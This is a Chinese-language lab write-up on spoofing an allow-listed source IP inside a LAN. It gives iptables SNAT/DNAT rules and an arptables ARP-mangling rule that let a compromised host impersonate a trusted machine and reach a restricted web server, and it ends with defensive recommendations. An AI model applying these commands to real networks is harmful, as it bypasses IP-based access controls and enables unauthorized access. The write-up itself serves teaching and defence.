理論基礎

同網段通訊依 MAC 位址而非 IP 路由。修改第三層 IP 不影響二層轉發，可構造偽造來源 IP 封包並保持通訊達達性。

實驗拓撲

• 攻擊機：192.168.254.130（已取得控制權）
• 目標 Web 伺服器：192.168.254.1，僅允許 192.168.254.22 存取

雙向 NAT 改寫（iptables）

# 出向：將攻擊機源 IP 改為 22
iptables -t nat -A POSTROUTING -p tcp --dport 80 -s 192.168.254.130 -d 192.168.254.1 -j SNAT --to 192.168.254.22

# 回向：將目的 IP 從 22 改回攻擊機
iptables -t nat -A PREROUTING -p tcp --sport 80 -s 192.168.254.1 -d 192.168.254.22 -j DNAT --to 192.168.254.130

問題發現：ARP 解析失敗

目標機發送 ARP 廣播詢問 22 的 MAC，攻擊機無回應導致連線超時。tcpdump 顯示持續 `arp who-has 192.168.254.22`。

解決：修改 ARP 請求來源 IP（ebtables/arptables）

# 讓攻擊機發出的 ARP 請求來源 IP 偽裝為 22
arptables -A OUTPUT -s 192.168.254.130 -d 192.168.254.1 -j mangle --mangle-ip-s 192.168.254.22

驗證成功

arp -d 192.168.254.1   # 清除本地 ARP 快取
wget 192.168.254.1/ip.php
# 回傳 192.168.254.22 → 欺騙成功

工具鏈總結

• netfilter/iptables：第三層 NAT 改寫
• ebtables/arptables：第二層 ARP 幀改寫
• tcpdump：封包捕獲驗證

防禦啟示

防火牆同樣可被武器化進行欺騙。防禦端需部署：動態 ARP 檢查 (DAI)、IP 來源防護、連接埠安全、異常 ARP 流量告警，並嚴格限制二層廣播域範圍。